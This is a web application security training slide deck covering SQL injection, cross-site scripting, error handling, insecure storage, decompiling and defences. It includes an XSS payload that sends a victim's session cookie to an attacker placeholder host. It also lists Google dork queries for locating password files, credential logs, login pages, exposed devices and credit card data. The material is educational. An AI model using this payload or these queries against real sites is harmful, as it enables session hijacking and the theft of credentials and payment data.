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					Web Application Security

Agenda
 Attacks Types  Web applications and Google  What can be done?

Attack Types

Attack Types
Web Application Vulnerabilities (OWASP Top 10)            Broken Access Control Broken Authentication and Session Management Buffer Overflows Denial of Service Insecure Configuration Management Poor Input Validation Injection Flaws (SQL Injection) Cross Site Scripting (XSS) Improper Error Handling Insecure Storage Reversing/decompiling

Attack Types
Web Application Vulnerabilities  Where can a web application be exploited?
       Inputs, outputs... Querystrings (www.ezenta.com/file.php?id=34) Form params (&name=sarid&phone=12121212) HTTP Headers Cookies Local Files? Anywhere a client has access to parameters

Web application Security
SQL Injection

Attack Types
SQL Injection  The exploitation of weaknesses in a web application, ultimately enabling users to utlize functionality located within the database server framework.

Attack Types
SQL Injection (Cont.)  Who is vulnerable?
      MS SQL Oracle Sybase DB2 MySQL Mm.

 Not the fault of the database software but rather the fault of the developers that utilise these databases.

Attack Types
SQL Injection (Cont.)  What can happen?
    Information leakage Data manipulation: INSERT, UPDATE, DELETE, … Execution of Stored Procedures (i.e. MSSQL) Data theft

 What would you want if you were the attacker?

Attack Types
SQL Injection (Cont.)  How would an attacker launch an attack in an attempt to gain access to a web server/DB server?  Prerequisites
 Some outbound trafic must be permitted, the user must know which port  The database’s user must be able to execute the EXEC command  The attacker must have some server (TFTP/FTP) from shich files can be retrieved

FTP Server

Internet
Firewall Web Server

Attacker

User

FTP Server

Internet
Firewall Web Server

Attacker

User

FTP Server

Internet
Firewall Web Server

Attacker

User

FTP Server

Internet
Firewall Web Server

Attacker

User

Attack Types
SQL Injection (Cont.)  DEMO: http://www.hackme.dk
      Identifying vulnerabilities Gathering info. about the DB: name, structure Altering data Running commands Error based/blind SQL injection Stored Procedures

GAME OVER

Web application Security
Cross Site Scripting (XSS)

Attack Types
Cross Site Scripting (XSS)  Attack aimed at the users of a web application, possible as a result of poor programming practices.

Attack Types
Cross Site Scripting (Cont.)  Two types:
 Transient: The exploit is composed and delivered. Is generally executed just the one time.  Persistent: The exploit is composed and written to some data store. An example is a forum post.

Attack Types
Cross Site Scripting (Cont.)  Transient: The victim has to perform an action in order for the attack to work.
 Click on a link  Download a file (eMule, Kazaa, Skype, MSN, …)

 Persistent: The attacked is executed simply by visiting the compromised web application.

Attack Types
Cross Site Scripting (Cont.)  So you can execute some script in the user’s browser, who cares? Right?

Attack Types
Cross Site Scripting (Cont.)  What can happen?
 Information known only to the user and the web server ( in this case session identifiers ) can be stolen. Sound scary? Consider this....  Ordering perscriptions over the net?  Medical test results?  On-line psychological consultations: Are you sure you’re chatting to a doctor?  Using netbank?

Attack Types
Cross Site Scripting (Cont.)  Net Bank
 Recently found a vulnerability that would enable an attacker to create a false net bank logon. When the user entered their username and password, the details were sent to a third server.  This is real!

Attack Types
Cross Site Scripting (Cont.)  Who is vulnerable?
      JAVA .NET ASP PHP CF Mm.

 It’s not MS’, Sun’s, Allaire’s or Novell’s fault (not always). It’s the fault of the developer!

Attack Types
Cross Site Scripting (Cont.)  How do users’ sessions get hijacked?
 A vulnerability is identified.  An exploit is developed (as shown on next slide).  The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant).  The user clicks on the link (tansient) or visits the vulnerable page (persistant).  The user’s session identifier is sent to the attacker.  The stolen session identifier is included in the attacker’s request ( shown in the demo ).

Attack Types
Cross Site Scripting (Cont.)  A simple transient XSS attack:
www.somesite.com/vulnerable.php ?email=sarid_harper@somesite.com <script> window.open('http://<ATTACKER>/write_to_file.o?Session='+docu ment.cookie,'obj_window','fullscreen=no,toolbar=no,status=no,me nubar=no,scrollbars=no,resizable=yes,directories=no,location=no, width=100,height=100'); </script> All on one line.

Attack Types
Cross Site Scripting (Cont.)  How do users’ sessions get hijacked?
 A vulnerability is identified.  An exploit is developed.  The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant).  The user clicks on the link (tansient) or visits the vulnerable page (persistant).  The user’s session identifier is sent to the attacker.  The stolen session identifier is included in the attacker’s request ( shown in the demo ).

User

Internet
Firewall Web Server

Attacker

User

Internet
Firewall Web Server

Attacker

Attack Types
Cross Site Scripting (Cont.)  How do users’ sessions get hijacked?
 A vulnerability is identified.  An exploit is developed.  The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant).  The user clicks on the link (tansient) or visits the vulnerable page (persistant).  The user’s session identifier is sent to the attacker.  The stolen session identifier is incorporated into the attacker’s request ( shown in the demo ).

Attack Types
Cross Site Scripting (Cont.)  DEMO: http://www.hackme.dk

Web application Security
Improper Error Handling

Attack Types
Improper Error Handling  Reading error messages in an attempt to gain an understanding of the platform and technologies deployed

Attack Types
Improper Error Handling (Cont.)  What can you learn from error messages?
 What database is being used  If the developers are trying to hide what server side technology is being used (by associating *.abc files with the asp.dll), it can be disclosed here  Usernames and passwords included in the connection string

Web application Security
Insecure Storage

Attack Types
Insecure Storage – What is it?  The implementation of poor storage schemes used to store sensative information such as credit card details and the like

Attack Types
Insecure Storage (cont.)  How can this type of vulnerability be found?
     Google Comments in a page’s source Error rmessages Filenames in temporary Mange more.

Attack Types
Insecure Storage (cont.)  What are we looking for…

Attack Types
Insecure Storage (cont.)  What other examples are there?
 Poor implementation of encryption algos  Attempting to create your own encryption algo  simple XOR methods 

Attack Types
Insecure Storage (cont.)  Demo
 Password files
 "your password is" filetype:log  allinurl:admin ext:mdb

 Credit card information
 allinurl:customers ext:mdb  allinurl:shopping ext:mdb

Attack Types
Reversing/decompiling  Java and .NET can be decompiled  The source code can be read  What tools exist to enable this?
 Java: DJ Decompiler  .NET: Salamander (http://www.remotesoft.com/salamander/)

Attack Types
Reversing/decompiling (cont.)  Differences between native code and VM
 Native code = ASM  Java/.NET = the original code

 Native code DEMO  Java/.NET DEMO

Attack Types
Reversing/decompiling (cont.)  Protection schemes for native code
      ASProtect ExeShield ACProtector Armadillo ExeCrypter PElock

 Can they then be broken?
 It seem like it

 What does the file now look like?

Attack Types
Reversing/decompiling (cont.)  Protection schemes for Java/.NET
 Obfuscation  HASP

 Can they then be broken?
 What does the file now look like?

Attack Types
Reversing/decompiling (cont.)  What protection schemes do you use?  Do they work?

Web application Security
What can be done?

What can be done?
Who is responsible?  Customers can make demands!  Development houses can educate developers!

What can be done?
Design  Threat Modelling; Understanding the threats (covered on day 2): ”But we don’t use sessions” ”But we use SSL”      Code Reviews (briefly covered on day 2) Ask questions! Check lists Defence in depth Secure defaults

What can be done?
Implementation  Secure programming principles and practices, educate developers (Think like an attacker)  Input validation  Output validation/encoding  Fail safely  Perform peer code reviews  Reuse code that is know to be secure  .....

What can be done?
Audit  Perform automated testing as well as manual (some of the tools available are covered on day two)  Test at every development stage  Make a test plan  Test all components

What can be done?
Configuration Management  The secure configuration of the implemented platform (covered on day 2)

Web application Security
Web applications and Google

Web applications and Google
Googles’ advanced search operators  Alternate query types
    cache link:www.ezenta.com related:www.securityfocus.com info:www.google.com

 Query Modifiers
     site:[ whitehouse.gov | www.whitehouse.gov ] allintitle:hacking tomcat intitle:hacking tomcat = intitle:hacking intext:tomcat allinurl:admin database inurl:admin database = intitle:admin intext:database

Web applications and Google
Googles’ advanced search operators (cont.)  Query Modifiers (cont.)
      filetype:doc ext:php (same as above) inanchor:funnystuff (<a href=target>funnystuff</a>) numrange:1111-9999 or 1111..9999 daterange:2453706-2453710 (represented in Julian time) phonebook:first last state

Web applications and Google
What can you use this for?        Error messages as shown earlier Password files Login pages Logs Shopping information Online devices Source code?

Web applications and Google
Error messages as shown earlier  Try and find error messages that you are familiar with by using Googles’ advanced operators

Web applications and Google
Error messages as shown earlier  “A syntax error has occurred” filetype:ihtml  “Incorrect syntax near”  ”Internal Server Error” ”server at”

Web applications and Google
Password files  Try and find some password details using Google

Web applications and Google
Password files  intitle:”index of /etc” intext:(passwd | shadow)  inurl:admin ext:(mdb | log | pwd | tmp | txt | bak) intext:”your password is *”  intext:”please use the following username * and password *”

Web applications and Google
Login pages  Find some login pages that you are familiar with

Web applications and Google
Login pages  allinurl:login admin cms  "You have requested access to a restricted area of our website. Please authenticate yourself to continue.“  intitle:"Tomcat Server Administration"

Web applications and Google
Logs  Find some common log files using Google

Web applications and Google
Logs  inurl:log ext:(log | txt)  inurl:admin ext:(log | txt) intitle:"index.of./“  allinurl:logs ftp security

Web applications and Google
Shopping information  Shopping information exists on web sites and Google knows about it. Find it!

Web applications and Google
Shopping information  inurl:shop database  Mastercard 5111111111111111..5999999999999999 ext:(log | mdb | tmp | bak | txt)  Visa 4111111111111..4999999999999 ext:(log | mdb | tmp | bak | txt)  Amex 371111111111111..379999999999999 ext:(log | mdb | tmp | bak | txt)

Web applications and Google
Online devices  Do you use any online devices like WAPs? Find some online devices you are familiar with.

Web applications and Google
Online devices     intitle:"Live View / - AXIS” intitle:webeye inurl:login.ml inurl:"printer/main.html" intext:"settings” intitle:"Network Storage Link for USB 2.0 Disks" Firmware (http://173016th.com/)

Web applications and Google
Source Code  Find source code fragments with Google

Web applications and Google
Source Code  intext:"ADODB.Recordset" ext:inc  inurl:index.php.bak

Web application Security
Summary  Bad programming can introduce huge issues  Security awareness and education can help raise security  Google can be used for data mining  Keep your environment clean.

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posted:11/6/2009
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